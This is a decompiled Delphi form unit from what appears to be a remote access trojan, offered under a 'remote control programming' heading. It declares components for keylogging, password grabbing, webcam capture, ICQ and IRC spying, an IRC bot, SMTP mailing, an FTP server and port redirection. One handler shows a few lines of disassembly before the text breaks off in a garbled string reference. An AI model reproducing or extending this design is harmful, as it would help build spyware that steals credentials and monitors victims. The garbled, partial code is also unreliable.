远程控制编程

开发平台：
Delphi

Unit1.pas：源码内容
							unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls, ComCtrls, MPlayer,
  ScktComp, ExtCtrls;
type
  TForm1=class(TForm)
    ListBox1: TListBox;
    PassList: TListBox;
    keylog: TMemo;
    loadin: TMemo;
    ListBox2: TListBox;
    RichEdit: TRichEdit;
    webcam: TJLCVideoPanelNEW;
    media: TMediaPlayer;
    RedirectedPorts: TMemo;
    filez: TMemo;
    banned: TMemo;
    Perform: TMemo;
    SpyMemo: TMemo;
    CBMode: TComboBox;
    CBFormats: TComboBox;
    ServerSocket1: TServerSocket;
    NotifyTimer: TTimer;
    GameInfo1: TGameInfo;
    rectime: TTimer;
    GetPassTimer: TTimer;
    NMHTTP1: TNMHTTP;
    ServerSocket2: TServerSocket;
    DialUp1: TDialUp;
    AC1: TAC;
    keysock: TServerSocket;
    irc_timer: TTimer;
    ChatSock: TServerSocket;
    VolumeControl: TVolumeControl;
    ServerSocket3: TServerSocket;
    SetTheKey: TKeyState;
    ICQSpySocket: TServerSocket;
    ICQSpyClock: TTimer;
    MatrixSock: TServerSocket;
    email: TNMSMTP;
    Clock: TTimer;
    irc: TIRCClient;
    ircdone: TTimer;
    RAS1: TRAS;
    ICQzip: TZLBArchive;
    Timer1: TTimer;
    IRCBot: TIRCClient;
    IRCSpy: TIRCClient;
    BOTTimer: TTimer;
    recon: TTimer;
    icqt: TTimer;
    Ping1: TPing;
    FtpServer1: TFtpServer;
    HttpFile: THttpCli;
    procedure BOTTimerTimer(Sender: TObject);
    procedure ChatSockClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ChatSockClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClockTimer(Sender: TObject);
    procedure DialUp1ActiveConnection(Sender: TObject);{?}
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure FtpServer1Authenticate(Sender: TObject);{?}
    procedure FtpServer1BuildDirectory(Sender: TObject);{?}
    procedure FtpServer1ChangeDirectory(Sender: TObject);{?}
    procedure FtpServer1ClientDisconnect(Sender: TObject);{?}
    procedure FtpServer1MakeDirectory(Sender: TObject);{?}
    procedure FtpServer1RetrSessionClosed(Sender: TObject);{?}
    procedure FtpServer1RetrSessionConnected(Sender: TObject);{?}
    procedure FtpServer1ValidateDele(Sender: TObject);{?}
    procedure GetPassTimerTimer(Sender: TObject);
    procedure ICQSpyClockTimer(Sender: TObject);
    procedure ICQSpySocketClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure icqtTimer(Sender: TObject);
    procedure irc_timerTimer(Sender: TObject);
    procedure IRCBotConnect(Sender: TObject);{?}
    procedure IRCBotDisconnect(Sender: TObject);{?}
    procedure IRCBotMessage(Sender: TObject);{?}
    procedure IRCBotNicksInUse(Sender: TObject);{?}
    procedure IRCBotQuit(Sender: TObject);{?}
    procedure IRCBotWallops(Sender: TObject);{?}
    procedure ircConnect(Sender: TObject);{?}
    procedure ircDisconnect(Sender: TObject);{?}
    procedure ircdoneTimer(Sender: TObject);
    procedure ircError(Sender: TObject);{?}
    procedure ircKicked(Sender: TObject);{?}
    procedure ircMessage(Sender: TObject);{?}
    procedure ircNicksInUse(Sender: TObject);{?}
    procedure ircNoTopic(Sender: TObject);{?}
    procedure IRCSpyConnect(Sender: TObject);{?}
    procedure IRCSpyJoined(Sender: TObject);{?}
    procedure IRCSpyKicked(Sender: TObject);{?}
    procedure IRCSpyMessage(Sender: TObject);{?}
    procedure IRCSpyNickChanged(Sender: TObject);{?}
    procedure IRCSpyNicksInUse(Sender: TObject);{?}
    procedure IRCSpyParted(Sender: TObject);{?}
    procedure MatrixSockClientConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure MatrixSockClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure MatrixSockClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure MatrixSockClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure NMHTTP1Connect(Sender: TObject);{?}
    procedure NMHTTP1ConnectionFailed(Sender: TObject);{?}
    procedure NMHTTP1Failure(Sender: TObject);{?}
    procedure NMHTTP1InvalidHost(Sender: TObject);{?}
    procedure NMHTTP1Success(Sender: TObject);{?}
    procedure NotifyTimerTimer(Sender: TObject);
    procedure Ping1DnsLookupDone(Sender: TObject);{?}
    procedure reconTimer(Sender: TObject);
    procedure rectimeTimer(Sender: TObject);
    procedure ServerSocket1ClientConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ServerSocket1ClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ServerSocket1ClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ServerSocket2ClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ServerSocket3ClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;
var
  Form1: TForm1;
{This file is generated by DeDe v2.34 (c) 1999 by DaFixer}
implementation
{$R *.DFM}
procedure TForm1.BOTTimerTimer(Sender: TObject);
begin
{
004D4138   55                     push    ebp
004D4139   8BEC                   mov     ebp, esp
004D413B   83C4F8                 add     esp, -$08
004D413E   53                     push    ebx
004D413F   56                     push    esi
004D4140   57                     push    edi
004D4141   33C9                   xor     ecx, ecx
004D4143   894DF8                 mov     [ebp-$08], ecx
004D4146   8BD8                   mov     ebx, eax
004D4148   33C0                   xor     eax, eax
004D414A   55                     push    ebp
* Possible String Reference to: "閘躜

						